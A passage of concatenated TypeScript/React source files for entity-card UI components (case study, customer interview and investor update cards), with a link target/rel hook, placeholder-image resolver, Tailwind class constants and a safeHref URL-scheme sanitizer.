wrapper because the same-tab-vs-new-tab\n * decision depends on `currentPlatform()` and the cross-platform\n * URL topology — neither of which the lib knows.\n *\n * This hook moves that decision INTO the card via the\n * `ChatRuntime.navigation.decideNewTab` callback already wired by\n * `HubRuntimeProvider` (and overridable per-embedder). The wrapping\n * `*-card-item.tsx` files in the hub become unnecessary — every card\n * derives its own `target`/`rel` from runtime.\n *\n * Backwards compat: explicit `target` / `rel` props always WIN over\n * runtime-derived values. Chat dispatcher callsites that already pass\n * pre-resolved attributes are unaffected.\n *\n * No runtime mounted? Returns `{ target: undefined, rel: undefined }`\n * (same-tab) — matches the documented embed-shim fallback.\n */\n\nimport { useMemo } from 'react'\nimport { useChatRuntime } from '../../../contexts/chat-runtime-context'\nimport { computeIsNewTab } from '../utils/nav-anchor-props'\n\nexport interface UseEntityCardLinkArgs {\n  href: string\n  targetPlatform?: string | null\n  /** Explicit override. When set, runtime decision is skipped. */\n  target?: '_blank'\n  /** Explicit override. When set, runtime decision is skipped. */\n  rel?: 'noopener noreferrer'\n}\n\nexport interface EntityCardLinkProps {\n  target: '_blank' | undefined\n  rel: 'noopener noreferrer' | undefined\n}\n\nexport function useEntityCardLink({\n  href,\n  targetPlatform,\n  target,\n  rel,\n}: UseEntityCardLinkArgs): EntityCardLinkProps {\n  const runtime = useChatRuntime()\n  return useMemo(() => {\n    // Explicit prop wins — preserves the chat-dispatcher path that\n    // pre-computes attrs from `computeIsNewTab`. When `target='_blank'`\n    // is passed without `rel`, auto-pair with `noopener noreferrer`\n    // to close the tabnabbing vector (window.opener access from the\n    // new tab back to the parent).\n    if (target !== undefined || rel !== undefined) {\n      const safeRel =\n        rel ?? (target === '_blank' ? 'noopener noreferrer' : undefined)\n      return { target, rel: safeRel }\n    }\n    // Use the UNIFIED new-tab decision so the rendered anchor's target/rel ALWAYS\n    // agrees with the click handler (executeNavigation also calls computeIsNewTab) —\n    // including the embed-mode short-circuit + the origin/platform fallback.\n    // Previously this used `decideNewTab ?? false`, which diverged from the click\n    // when decideNewTab was unwired (embed mode rendered a same-tab anchor that\n    // clicked into a new tab). Hub behavior is unchanged: it wires decideNewTab,\n    // which computeIsNewTab consumes identically.\n    const newTab = runtime ? computeIsNewTab(runtime, href, targetPlatform ?? null) : false\n    return newTab\n      ? { target: '_blank' as const, rel: 'noopener noreferrer' as const }\n      : { target: undefined, rel: undefined }\n  }, [target, rel, href, targetPlatform, runtime])\n}\n","'use client'\n\n/**\n * Entity-card OG-placeholder resolver.\n *\n * A thin wrapper over the one og-placeholder hook (`useOgPlaceholderUrl`) that\n * adds a single concern: an explicit `placeholderUrl` prop (incl. `null`) wins\n * over the runtime-derived URL — chat dispatch + tests pre-resolve through it.\n * All URL construction lives in `useOgPlaceholderUrl` / `buildOgPlaceholderUrl`,\n * so this surface shares one memo + one code path with every other consumer.\n */\n\nimport { useOgPlaceholderUrl } from '../../../hooks/use-og-placeholder-url'\n\nexport interface UseEntityCardPlaceholderArgs {\n  /** Entity title — used as the placeholder label. */\n  title: string | undefined | null\n  /** Explicit override. When set (including `null`), the runtime default is\n   *  skipped. */\n  placeholderUrl?: string | null\n  /** Site name shown under the title. Optional. */\n  siteName?: string\n  /** Output aspect ratio. `'wide'` (default) for catalog cards, `'square'`\n   *  for compact chat-inline cards. */\n  aspect?: 'wide' | 'square'\n}\n\nexport function useEntityCardPlaceholder({\n  title,\n  placeholderUrl,\n  siteName = '',\n  aspect = 'wide',\n}: UseEntityCardPlaceholderArgs): string | null {\n  const derived = useOgPlaceholderUrl({ title, siteName, aspect })\n  // Explicit prop (including explicit null) wins; `undefined` → derived default.\n  return placeholderUrl !== undefined ? placeholderUrl : derived\n}\n","/**\n * Compact-card class constants — single source of truth for the chat-inline\n * `size='sm'` card frame.\n *\n * Lifted from the hub's `components/shared/compact-card/compact-card-classes.ts`\n * so the pure-presentation cards in `entity-cards/` can stop importing from\n * the hub tree. Every compact card across the chat shell shares the SAME\n * outer frame, skeleton frame, image slot, icon slot, text column, and\n * per-line typography.\n *\n * Card-specific variation (Play overlay on podcasts, #N pill on investor\n * updates, status badge on roadmap) lives INSIDE the card next to its\n * other type-specific JSX; the frame stays uniform across types.\n */\n\n/** Loaded compact card outer frame for INTERACTIVE state — anchor wrap\n *  with hover/transition affordance. Use ONLY when the card resolves\n *  to a real, safe href; the user expects a clickable feel. */\nexport const COMPACT_CARD_OUTER =\n  'my-1.5 flex items-start gap-3 w-full p-2 rounded-lg border border-ods-border bg-ods-card no-underline transition-colors hover:border-ods-text-secondary/40'\n\n/** Loaded compact card outer frame for NON-INTERACTIVE state — span wrap\n *  used when `safeHref()` rejects the chat ref's url. */\nexport const COMPACT_CARD_OUTER_STATIC =\n  'my-1.5 flex items-start gap-3 w-full p-2 rounded-lg border border-ods-border bg-ods-card no-underline cursor-default'\n\n/** Skeleton outer frame — same dimensions as loaded, plus `animate-pulse`. */\nexport const COMPACT_CARD_SKELETON_OUTER =\n  'my-1.5 flex w-full animate-pulse items-start gap-3 rounded-lg border border-ods-border bg-ods-card p-2'\n\n/** 56×56 image slot — for cards with a cover image. */\nexport const COMPACT_CARD_IMAGE_SLOT =\n  'relative block shrink-0 self-start w-14 h-14 aspect-square overflow-hidden rounded-md bg-ods-bg'\n\n/** 56×56 placeholder slot for skeletons. */\nexport const COMPACT_CARD_SKELETON_IMAGE_SLOT =\n  'block h-14 w-14 aspect-square shrink-0 self-start rounded-md bg-ods-bg'\n\n/** 56×56 icon slot — for cards without a cover image. */\nexport const COMPACT_CARD_ICON_SLOT =\n  'flex h-14 w-14 aspect-square shrink-0 self-start items-center justify-center rounded-md bg-ods-bg text-ods-accent'\n\n/** Text column wrapper — explicit 56px height with `flex flex-col`. */\nexport const COMPACT_CARD_TEXT_COL =\n  'flex min-w-0 flex-1 flex-col gap-0.5 min-h-14'\n\n/** Title row container — fixed 20px (h-5) to match `text-sm leading-5`. */\nexport const COMPACT_CARD_TITLE_ROW = 'flex items-center min-w-0 h-5'\n\n/** Subtitle / summary row container — fixed 16px (h-4). */\nexport const COMPACT_CARD_META_ROW_BOX = 'flex items-center min-w-0 h-4'\n\n/** Title text — bold 14px on a 20px line. */\nexport const COMPACT_CARD_TITLE =\n  'truncate text-sm font-semibold leading-5 text-ods-text-primary'\n\n/** Subtitle text — 11px on a 16px line. */\nexport const COMPACT_CARD_SUBTITLE =\n  'truncate text-h6 text-ods-text-secondary'\n\n/** Summary text — same metrics as subtitle, dropped to 80% opacity. */\nexport const COMPACT_CARD_SUMMARY =\n  'truncate text-h6 text-ods-text-secondary/80'\n\n/** Meta-row variant — multi-part 11px metadata. */\nexport const COMPACT_CARD_META_ROW =\n  'flex items-center gap-1.5 min-w-0 text-h6 text-ods-text-secondary'\n\n/** Non-breaking space — used as a fallback child so the row's height stays 16px. */\nexport const COMPACT_CARD_ROW_FILLER = ' '\n\n/** Schemes allowed in the outer `<a href>` of a compact card. */\nconst SAFE_URL_SCHEMES = ['http:', 'https:', 'mailto:']\n\n/** Return the input url ONLY if it's safe to drop into an `<a href>`:\n *  the scheme must be http / https / mailto, or the URL must be a\n *  same-origin path (`/blog/foo`). Otherwise returns `null`. */\nexport function safeHref(url: string | null | undefined): string | null {\n  if (!url) return null\n  // Defense in depth: control chars + zero-width / line-separator chars.\n  if (/[\\u0000-\\u001f\\u007f\\u200b-\\u200d\\u2028\\u2029\\ufeff]/.test(url)) return null\n  const trimmed = url.trim()\n  if (!trimmed) return null\n  // Pure same-origin path.\n  if (trimmed.startsWith('/') && !trimmed.startsWith('//')) return trimmed\n  if (trimmed.startsWith('#')) return trimmed\n  // Reject bare scheme-only inputs.\n  if (/^[a-z][a-z0-9+.-]*:$/i.test(trimmed)) return null\n  try {\n    const parsed = new URL(trimmed, 'https://_safehref_base.invalid')\n    if (!SAFE_URL_SCHEMES.includes(parsed.protocol)) return null\n    if ((parsed.protocol === 'https:' || parsed.protocol === 'http:') && !parsed.hostname) return null\n    return trimmed\n  } catch {\n    return null\n  }\n}\n","'use client'\n\n/**\n * CaseStudyCard (pure presentation). Two densities — `default` (vertical\n * detail) and `sm` (compact horizontal for chat-inline).\n *\n * The card writes NO click logic — callers wrap with their own anchor\n * and pass the resolved detail URL via `href`.\n *\n * Image-fallback chain:\n *   `study.featured_image` → `placeholderUrl` (caller passes\n *   `useOgPlaceholderUrl(...)`) → `bg-ods-bg`.\n */\n\nimport React from 'react'\nimport Image from '../../../embed-shims/next-image'\nimport { Card } from '../../ui/card'\nimport { cn } from '../../../utils/cn'\nimport type { CaseStudy } from '../../../types/case-study'\nimport { EntityPortraitCard } from './entity-portrait-card'\nimport { useEntityCardLink } from './use-entity-card-link'\nimport { useEntityCardPlaceholder } from './use-entity-card-placeholder'\nimport {\n  COMPACT_CARD_IMAGE_SLOT,\n  COMPACT_CARD_META_ROW_BOX,\n  COMPACT_CARD_OUTER,\n  COMPACT_CARD_ROW_FILLER,\n  COMPACT_CARD_SKELETON_IMAGE_SLOT,\n  COMPACT_CARD_SKELETON_OUTER,\n  COMPACT_CARD_SUBTITLE,\n  COMPACT_CARD_SUMMARY,\n  COMPACT_CARD_TEXT_COL,\n  COMPACT_CARD_TITLE,\n  COMPACT_CARD_TITLE_ROW,\n} from '../utils/compact-card-classes'\nimport { hideOnError } from './use-cover-image-fallback'\n\nexport interface CaseStudyCardProps {\n  study: CaseStudy\n  /** Detail URL resolved by the caller. */\n  href: string\n  /** When `_blank`, opens in a new tab. Set by chat dispatch via\n   *  `computeIsNewTab`. Defaults to same-tab. */\n  target?: '_blank'\n  rel?: 'noopener noreferrer'\n  targetPlatform?: string | null\n  /** OG placeholder URL, used when `study.featured_image` is missing. */\n  placeholderUrl?: string | null\n  size?: 'default' | 'sm' | 'portrait'\n  /** Portrait density: render the content-type chip. Mixed rails only; single-type rails pass false. Default true. */\n  showTypeBadge?: boolean\n  className?: string\n}\n\n/** `portrait` shares the default skeleton shape — the portrait anatomy uses the\n *  same zone boxes (media aspect → 72px title → 60px person footer). */\nexport function CaseStudyCardSkeleton({ size = 'default' }: { size?: 'default' | 'sm' | 'portrait' }) {\n  if (size === 'sm') {\n    return (\n      <span className={COMPACT_CARD_SKELETON_OUTER}>\n        <span className={COMPACT_CARD_SKELETON_IMAGE_SLOT} />\n        <span className={COMPACT_CARD_TEXT_COL}>\n          <span className={COMPACT_CARD_TITLE_ROW}>\n            <span className=\"h-3.5 w-3/5 rounded bg-ods-bg\" />\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className=\"h-3 w-1/2 rounded bg-ods-bg/70\" />\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className=\"h-3 w-11/12 rounded bg-ods-bg/40\" />\n          </span>\n        </span>\n      </span>\n    )\n  }\n  return (\n    <div className=\"bg-ods-card border border-ods-border rounded-lg overflow-hidden p-6 flex flex-col gap-6 animate-pulse\">\n      {/* Skeleton aspect matches the real card's image slot (OG 1200×630) */}\n      <div className=\"w-full aspect-[1200/630] rounded-sm bg-ods-bg\" />\n      <div className=\"h-[72px] flex flex-col gap-2\">\n        <div className=\"h-5 w-3/4 bg-ods-bg rounded\" />\n        <div className=\"h-5 w-1/2 bg-ods-bg rounded\" />\n      </div>\n      <div className=\"h-[60px] flex items-center gap-3\">\n        <div className=\"h-12 w-12 rounded-full bg-ods-bg\" />\n        <div className=\"flex-1 space-y-2\">\n          <div className=\"h-4 w-2/3 bg-ods-bg rounded\" />\n          <div className=\"h-3 w-1/2 bg-ods-bg/60 rounded\" />\n        </div>\n      </div>\n    </div>\n  )\n}\n\nexport function CaseStudyCard({\n  study,\n  href,\n  target: targetProp,\n  rel: relProp,\n  targetPlatform,\n  placeholderUrl: placeholderUrlProp,\n  size = 'default',\n  showTypeBadge = true,\n  className,\n}: CaseStudyCardProps) {\n  const { target, rel } = useEntityCardLink({\n    href,\n    targetPlatform,\n    target: targetProp,\n    rel: relProp,\n  })\n  const placeholderUrl = useEntityCardPlaceholder({\n    title: study.title,\n    placeholderUrl: placeholderUrlProp,\n    aspect: size === 'sm' ? 'square' : 'wide',\n  })\n  const coverImage = study.featured_image || placeholderUrl || null\n\n  if (size === 'sm') {\n    return (\n      <a href={href} target={target} rel={rel} className={cn(COMPACT_CARD_OUTER, className)}>\n        <span className={COMPACT_CARD_IMAGE_SLOT}>\n          {coverImage ? (\n            <img\n              src={coverImage}\n              alt={`${study.msp?.name || study.title} cover`}\n              className=\"absolute inset-0 block w-full h-full object-contain\"\n              onError={hideOnError}\n            />\n          ) : null}\n        </span>\n        <span className={COMPACT_CARD_TEXT_COL}>\n          <span className={COMPACT_CARD_TITLE_ROW}>\n            <span className={COMPACT_CARD_TITLE}>{study.title}</span>\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className={COMPACT_CARD_SUBTITLE}>\n              {[study.msp?.name, study.user?.full_name].filter(Boolean).join(' · ') || 'Case study'}\n            </span>\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className={COMPACT_CARD_SUMMARY}>\n              {study.summary || COMPACT_CARD_ROW_FILLER}\n            </span>\n          </span>\n        </span>\n      </a>\n    )\n  }\n\n  if (size === 'portrait') {\n    // Rail/strip density — shared <EntityPortraitCard> shell.\n    return (\n      <EntityPortraitCard\n        href={href}\n        target={target}\n        rel={rel}\n        typeLabel={showTypeBadge ? 'Case Study' : undefined}\n        imageUrl={study.featured_image}\n        placeholderUrl={placeholderUrl}\n        imageAlt={study.msp?.name || study.title}\n        title={study.title}\n        person={{\n          name: study.user?.full_name || 'Anonymous',\n          avatarUrl: study.user?.avatar_url,\n          subtitle: study.msp?.name ?? null,\n          iconOverlayUrl: study.msp?.icon_url ?? null,\n        }}\n        className={className}\n      />\n    )\n  }\n\n  return (\n    <a href={href} target={target} rel={rel} className={cn('block h-full', className)}>\n      <Card className=\"bg-ods-card border border-ods-border hover:border-ods-accent transition-colors p-6 flex flex-col gap-6 overflow-hidden\">\n        {/* Fixed aspect ratio matches the standard OG card source aspect\n            (1200×630 = 1.91:1), so the image fits with near-zero CSS-side\n            cropping. Subject anchoring is then a function of the source\n            image's center-66% safe zone (OG design convention) — visually\n            uniform across all cards regardless of column width. Skeleton\n            (lines 73-74) uses the same aspect for consistent layout. */}\n        <div className=\"relative w-full aspect-[1200/630] rounded-sm overflow-hidden bg-ods-bg shrink-0\">\n          {coverImage && (\n            <Image\n              src={coverImage}\n              alt={study.msp?.name || study.title}\n              className=\"w-full h-full object-cover\"\n              sizes=\"(min-width: 1545px) 515px, (min-width: 1280px) 33vw, (min-width: 800px) 50vw, 100vw\"\n              fill\n              unoptimized\n              onError={hideOnError}\n            />\n          )}\n        </div>\n\n        <div className=\"h-[72px] flex items-center shrink-0\">\n          <p className=\"text-h4 text-ods-text-primary line-clamp-3 break-words\">{study.title}</p>\n        </div>\n\n        <div className=\"h-[60px] flex items-center shrink-0\">\n          <div className=\"flex items-center gap-3 min-w-0 w-full\">\n            <div className=\"relative shrink-0 w-12 h-12\">\n              {study.user?.avatar_url ? (\n                <Image\n                  src={study.user.avatar_url}\n                  alt={study.user?.full_name || 'User'}\n                  className=\"w-12 h-12 rounded-full object-cover bg-ods-bg border border-ods-border\"\n                  width={48}\n                  height={48}\n                  unoptimized\n                />\n              ) : (\n                <div className=\"w-12 h-12 rounded-full bg-ods-bg border border-ods-border flex items-center justify-center\">\n                  <span className=\"text-ods-text-secondary text-h4\">\n                    {(study.user?.full_name || 'A').charAt(0).toUpperCase()}\n                  </span>\n                </div>\n              )}\n              {study.msp?.icon_url && (\n                <div className=\"absolute -bottom-1 -right-1 w-6 h-6 rounded-full bg-ods-text-primary ring-1 ring-ods-bg overflow-hidden flex items-center justify-center\">\n                  <Image\n                    src={study.msp.icon_url}\n                    alt={study.msp.name || 'MSP'}\n                    className=\"w-full h-full object-cover\"\n                    width={24}\n                    height={24}\n                    unoptimized\n                  />\n                </div>\n              )}\n            </div>\n            <div className=\"min-w-0 flex-1\">\n              <p className=\"text-h6 text-ods-text-primary truncate\">\n                {study.user?.full_name || 'Anonymous'}\n                {study.msp?.name && <span className=\"text-ods-text-secondary\"> • {study.msp.name}</span>}\n              </p>\n              <p className=\"text-h6 text-ods-text-secondary truncate\">\n                {study.user?.job_title || ' '}\n              </p>\n            </div>\n          </div>\n        </div>\n      </Card>\n    </a>\n  )\n}\n","'use client'\n\n/**\n * CustomerInterviewCard (pure presentation). Two densities — `default`\n * and `sm` (compact horizontal for chat-inline).\n *\n * The card writes NO click logic — callers wrap with their own anchor\n * and pass the resolved detail URL via `href`.\n */\n\nimport React from 'react'\nimport { Card } from '../../ui/card'\nimport { cn } from '../../../utils/cn'\nimport { Video } from 'lucide-react'\nimport type { CustomerInterview } from '../../../types/customer-interview'\nimport { EntityPortraitCard } from './entity-portrait-card'\nimport { useEntityCardLink } from './use-entity-card-link'\nimport { useEntityCardPlaceholder } from './use-entity-card-placeholder'\nimport {\n  COMPACT_CARD_IMAGE_SLOT,\n  COMPACT_CARD_META_ROW_BOX,\n  COMPACT_CARD_OUTER,\n  COMPACT_CARD_ROW_FILLER,\n  COMPACT_CARD_SKELETON_IMAGE_SLOT,\n  COMPACT_CARD_SKELETON_OUTER,\n  COMPACT_CARD_SUBTITLE,\n  COMPACT_CARD_SUMMARY,\n  COMPACT_CARD_TEXT_COL,\n  COMPACT_CARD_TITLE,\n  COMPACT_CARD_TITLE_ROW,\n} from '../utils/compact-card-classes'\nimport { hideOnError } from './use-cover-image-fallback'\n\nexport interface CustomerInterviewCardProps {\n  interview: CustomerInterview\n  href: string\n  /** When `_blank`, opens in a new tab. Set by chat dispatch via\n   *  `computeIsNewTab`. Defaults to same-tab. */\n  target?: '_blank'\n  rel?: 'noopener noreferrer'\n  targetPlatform?: string | null\n  /** OG placeholder URL fallback when `interview.featured_image` is missing. */\n  placeholderUrl?: string | null\n  size?: 'default' | 'sm' | 'portrait'\n  /** Portrait density: render the content-type chip. Mixed rails only; single-type rails pass false. Default true. */\n  showTypeBadge?: boolean\n  className?: string\n}\n\n/** `portrait` shares the default skeleton shape (same zone boxes). */\nexport function CustomerInterviewCardSkeleton({ size = 'default' }: { size?: 'default' | 'sm' | 'portrait' }) {\n  if (size === 'sm') {\n    return (\n      <span className={COMPACT_CARD_SKELETON_OUTER}>\n        <span className={COMPACT_CARD_SKELETON_IMAGE_SLOT} />\n        <span className={COMPACT_CARD_TEXT_COL}>\n          <span className={COMPACT_CARD_TITLE_ROW}>\n            <span className=\"h-3.5 w-3/5 rounded bg-ods-bg\" />\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className=\"h-3 w-2/5 rounded bg-ods-bg/70\" />\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className=\"h-3 w-11/12 rounded bg-ods-bg/40\" />\n          </span>\n        </span>\n      </span>\n    )\n  }\n  return (\n    <div className=\"bg-ods-card border border-ods-border rounded-lg overflow-hidden p-6 flex flex-col gap-6 animate-pulse\">\n      {/* Aspect matches the loaded image slot (OG 1200×630) */}\n      <div className=\"w-full aspect-[1200/630] rounded-sm bg-ods-bg\" />\n      <div className=\"space-y-2\">\n        <div className=\"h-5 w-3/4 bg-ods-bg rounded\" />\n        <div className=\"h-5 w-1/2 bg-ods-bg rounded\" />\n      </div>\n      <div className=\"space-y-2\">\n        <div className=\"h-3 w-full bg-ods-bg/60 rounded\" />\n        <div className=\"h-3 w-5/6 bg-ods-bg/60 rounded\" />\n        <div className=\"h-3 w-4/5 bg-ods-bg/60 rounded\" />\n      </div>\n      <div className=\"h-[60px] flex items-center gap-3 mt-auto\">\n        <div className=\"h-12 w-12 rounded-full bg-ods-bg\" />\n        <div className=\"flex-1 space-y-2\">\n          <div className=\"h-4 w-2/3 bg-ods-bg rounded\" />\n          <div className=\"h-3 w-1/2 bg-ods-bg/60 rounded\" />\n        </div>\n      </div>\n    </div>\n  )\n}\n\nexport function CustomerInterviewCard({\n  interview,\n  href,\n  target: targetProp,\n  rel: relProp,\n  targetPlatform,\n  placeholderUrl: placeholderUrlProp,\n  size = 'default',\n  showTypeBadge = true,\n  className,\n}: CustomerInterviewCardProps) {\n  const { target, rel } = useEntityCardLink({\n    href,\n    targetPlatform,\n    target: targetProp,\n    rel: relProp,\n  })\n  const placeholderUrl = useEntityCardPlaceholder({\n    title: interview.title,\n    placeholderUrl: placeholderUrlProp,\n    aspect: size === 'sm' ? 'square' : 'wide',\n  })\n  const thumbnailUrl = interview.featured_image || placeholderUrl || null\n\n  if (size === 'sm') {\n    return (\n      <a href={href} target={target} rel={rel} className={cn(COMPACT_CARD_OUTER, className)}>\n        <span className={COMPACT_CARD_IMAGE_SLOT}>\n          {thumbnailUrl ? (\n            <img\n              src={thumbnailUrl}\n              alt={interview.title}\n              className=\"absolute inset-0 block w-full h-full object-contain\"\n              onError={hideOnError}\n            />\n          ) : null}\n          {interview.main_video_url ? (\n            <span className=\"absolute inset-0 flex items-center justify-center bg-black/30\">\n              <Video className=\"h-4 w-4 text-ods-text-on-dark\" />\n            </span>\n          ) : null}\n        </span>\n        <span className={COMPACT_CARD_TEXT_COL}>\n          <span className={COMPACT_CARD_TITLE_ROW}>\n            <span className={COMPACT_CARD_TITLE}>{interview.title}</span>\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className={COMPACT_CARD_SUBTITLE}>\n              {[interview.user?.full_name, interview.msp?.name].filter(Boolean).join(' · ') || 'Customer interview'}\n            </span>\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className={COMPACT_CARD_SUMMARY}>\n              {interview.video_summary || COMPACT_CARD_ROW_FILLER}\n            </span>\n          </span>\n        </span>\n      </a>\n    )\n  }\n\n  if (size === 'portrait') {\n    // Rail/strip density — shared <EntityPortraitCard> shell.\n    return (\n      <EntityPortraitCard\n        href={href}\n        target={target}\n        rel={rel}\n        typeLabel={showTypeBadge ? 'Customer Interview' : undefined}\n        imageUrl={interview.featured_image}\n        placeholderUrl={placeholderUrl}\n        imageAlt={interview.title}\n        title={interview.title}\n        person={{\n          name: interview.user?.full_name || 'Customer',\n          avatarUrl: interview.user?.avatar_url,\n          subtitle: interview.msp?.name ?? null,\n          iconOverlayUrl: interview.msp?.icon_url ?? null,\n        }}\n        className={className}\n      />\n    )\n  }\n\n  return (\n    <a href={href} target={target} rel={rel} className={cn('block h-full', className)}>\n      <Card className=\"bg-ods-card border border-ods-border hover:border-ods-accent transition-colors p-6 flex flex-col gap-6 overflow-hidden\">\n        {/* Fixed aspect matching standard OG card source (1200×630, 1.91:1)\n            — image renders with near-zero CSS-side crop, subject anchored\n            consistently via center-66% safe-zone convention. */}\n        <div className=\"w-full aspect-[1200/630] rounded-sm overflow-hidden bg-ods-bg shrink-0 relative\">\n          {thumbnailUrl ? (\n            <>\n              <img\n                src={thumbnailUrl}\n                alt={interview.title}\n                className=\"w-full h-full object-cover\"\n                onError={hideOnError}\n              />\n              {interview.main_video_url && (\n                <div className=\"absolute inset-0 bg-black/40 flex items-center justify-center\">\n                  <div className=\"w-16 h-16 rounded-full bg-ods-accent/90 flex items-center justify-center\">\n                    <Video className=\"w-8 h-8 text-ods-text-on-accent\" />\n                  </div>\n                </div>\n              )}\n            </>\n          ) : (\n            <div className=\"w-full h-full flex items-center justify-center bg-ods-bg\">\n              <Video className=\"w-12 h-12 text-ods-text-secondary\" />\n            </div>\n          )}\n        </div>\n\n        <div className=\"shrink-0\">\n          <h3 className=\"text-h3 text-ods-text-primary line-clamp-2 break-words\">\n            {interview.title}\n          </h3>\n        </div>\n\n        {interview.video_summary && (\n          <div className=\"shrink-0\">\n            <p className=\"text-h6 text-ods-text-secondary line-clamp-3\">\n              {interview.video_summary}\n            </p>\n          </div>\n        )}\n\n        <div className=\"h-[60px] flex items-center shrink-0 mt-auto\">\n          <div className=\"flex items-center gap-3 min-w-0 w-full\">\n            <div className=\"relative shrink-0 w-12 h-12\">\n              {interview.user?.avatar_url ? (\n                <img\n                  src={interview.user.avatar_url}\n                  alt={interview.user?.full_name || 'Customer'}\n                  className=\"w-12 h-12 rounded-full object-cover bg-ods-bg border border-ods-border\"\n                />\n              ) : (\n                <div className=\"w-12 h-12 rounded-full bg-ods-bg border border-ods-border flex items-center justify-center\">\n                  <span className=\"text-ods-text-secondary text-h4\">\n                    {(interview.user?.full_name || 'A').charAt(0).toUpperCase()}\n                  </span>\n                </div>\n              )}\n              {interview.msp?.icon_url && (\n                <div className=\"absolute -bottom-1 -right-1 w-6 h-6 rounded-full bg-ods-text-primary ring-1 ring-ods-bg overflow-hidden flex items-center justify-center\">\n                  <img\n                    src={interview.msp.icon_url}\n                    alt={interview.msp.name || 'MSP'}\n                    className=\"w-full h-full object-cover\"\n                  />\n                </div>\n              )}\n            </div>\n            <div className=\"min-w-0 flex-1\">\n              <p className=\"text-h6 text-ods-text-primary truncate\">\n                {interview.user?.full_name || 'Anonymous'}\n                {interview.msp?.name && <span className=\"text-ods-text-secondary\"> • {interview.msp.name}</span>}\n              </p>\n              <p className=\"text-h6 text-ods-text-secondary truncate\">\n                {interview.user?.job_title || ' '}\n              </p>\n            </div>\n          </div>\n        </div>\n      </Card>\n    </a>\n  )\n}\n","'use client'\n\n/**\n * InvestorUpdateCard (pure presentation).\n *\n * Two densities — `default` (uses `AdminContentCard`) and `sm` (compact\n * horizontal). The card writes NO click logic — callers wrap with their\n * own anchor and pass the resolved detail URL via `href`.\n */\n\nimport React from 'react'\nimport { Calendar } from 'lucide-react'\nimport { AdminContentCard } from './admin-content-card'\nimport { EntityPortraitCard } from './entity-portrait-card'\nimport { formatInvestorUpdatePeriod, type InvestorUpdate } from '../types/entities/investor-update'\nimport { useEntityCardLink } from './use-entity-card-link'\nimport { useEntityCardPlaceholder } from './use-entity-card-placeholder'\nimport {\n  COMPACT_CARD_IMAGE_SLOT,\n  COMPACT_CARD_META_ROW_BOX,\n  COMPACT_CARD_OUTER,\n  COMPACT_CARD_ROW_FILLER,\n  COMPACT_CARD_SKELETON_IMAGE_SLOT,\n  COMPACT_CARD_SKELETON_OUTER,\n  COMPACT_CARD_SUBTITLE,\n  COMPACT_CARD_SUMMARY,\n  COMPACT_CARD_TEXT_COL,\n  COMPACT_CARD_TITLE,\n  COMPACT_CARD_TITLE_ROW,\n} from '../utils/compact-card-classes'\n\nexport interface InvestorUpdateCardProps {\n  update: InvestorUpdate\n  href: string\n  /** When `_blank`, opens in a new tab. Set by chat dispatch via\n   *  `computeIsNewTab`. Defaults to same-tab. */\n  target?: '_blank'\n  rel?: 'noopener noreferrer'\n  targetPlatform?: string | null\n  /** OG placeholder URL used when `update.featured_image` is missing. */\n  placeholderUrl?: string | null\n  size?: 'default' | 'sm' | 'portrait'\n  /** Portrait density: render the content-type chip. Mixed rails only; single-type rails pass false. Default true. */\n  showTypeBadge?: boolean\n  className?: string\n}\n\n/** `portrait` shares the default skeleton shape (same zone boxes). */\nexport function InvestorUpdateCardSkeleton({ size = 'default' }: { size?: 'default' | 'sm' | 'portrait' }) {\n  if (size === 'sm') {\n    return (\n      <span className={COMPACT_CARD_SKELETON_OUTER}>\n        <span className={COMPACT_CARD_SKELETON_IMAGE_SLOT} />\n        <span className={COMPACT_CARD_TEXT_COL}>\n          <span className={`${COMPACT_CARD_TITLE_ROW} flex-nowrap gap-2`}>\n            <span className=\"h-3.5 w-1/2 rounded bg-ods-bg\" />\n            <span className=\"h-4 w-8 rounded bg-ods-bg/70 shrink-0\" />\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className=\"h-3 w-1/3 rounded bg-ods-bg/70\" />\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className=\"h-3 w-11/12 rounded bg-ods-bg/40\" />\n          </span>\n        </span>\n      </span>\n    )\n  }\n  return (\n    <div className=\"bg-ods-card border border-ods-border rounded-lg overflow-hidden h-full animate-pulse\">\n      <div className=\"aspect-[1200/630] bg-ods-bg\" />\n      <div className=\"p-4 space-y-3\">\n        <div className=\"h-5 w-3/4 bg-ods-bg rounded\" />\n        <div className=\"h-3 w-full bg-ods-bg/60 rounded\" />\n        <div className=\"h-3 w-4/5 bg-ods-bg/60 rounded\" />\n        <div className=\"h-4 w-1/3 bg-ods-bg/60 rounded\" />\n      </div>\n    </div>\n  )\n}\n\nexport function InvestorUpdateCard({\n  update,\n  href,\n  target: targetProp,\n  rel: relProp,\n  targetPlatform,\n  placeholderUrl: placeholderUrlProp,\n  size = 'default',\n  showTypeBadge = true,\n  className,\n}: InvestorUpdateCardProps) {\n  const { target, rel } = useEntityCardLink({\n    href,\n    targetPlatform,\n    target: targetProp,\n    rel: relProp,\n  })\n  const placeholderUrl = useEntityCardPlaceholder({\n    title: update.title ?? `Update #${update.update_number ?? ''}`,\n    placeholderUrl: placeholderUrlProp,\n    aspect: size === 'sm' ? 'square' : 'wide',\n  })\n  const coverImage = update.featured_image || placeholderUrl || null\n\n  if (size === 'sm') {\n    const periodText = formatInvestorUpdatePeriod(update.period_start, update.period_end)\n    return (\n      <a href={href} target={target} rel={rel} className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}>\n        <span className={COMPACT_CARD_IMAGE_SLOT}>\n          {coverImage ? (\n            <img\n              src={coverImage}\n              alt={update.title ?? 'Investor update'}\n              className=\"absolute inset-0 block w-full h-full object-contain\"\n              onError={(e) => {\n                ;(e.currentTarget as HTMLImageElement).style.display = 'none'\n              }}\n            />\n          ) : (\n            <span className=\"flex h-full w-full items-center justify-center text-ods-accent\">\n              <Calendar className=\"h-4 w-4\" />\n            </span>\n          )}\n        </span>\n        <span className={COMPACT_CARD_TEXT_COL}>\n          <span className={`${COMPACT_CARD_TITLE_ROW} 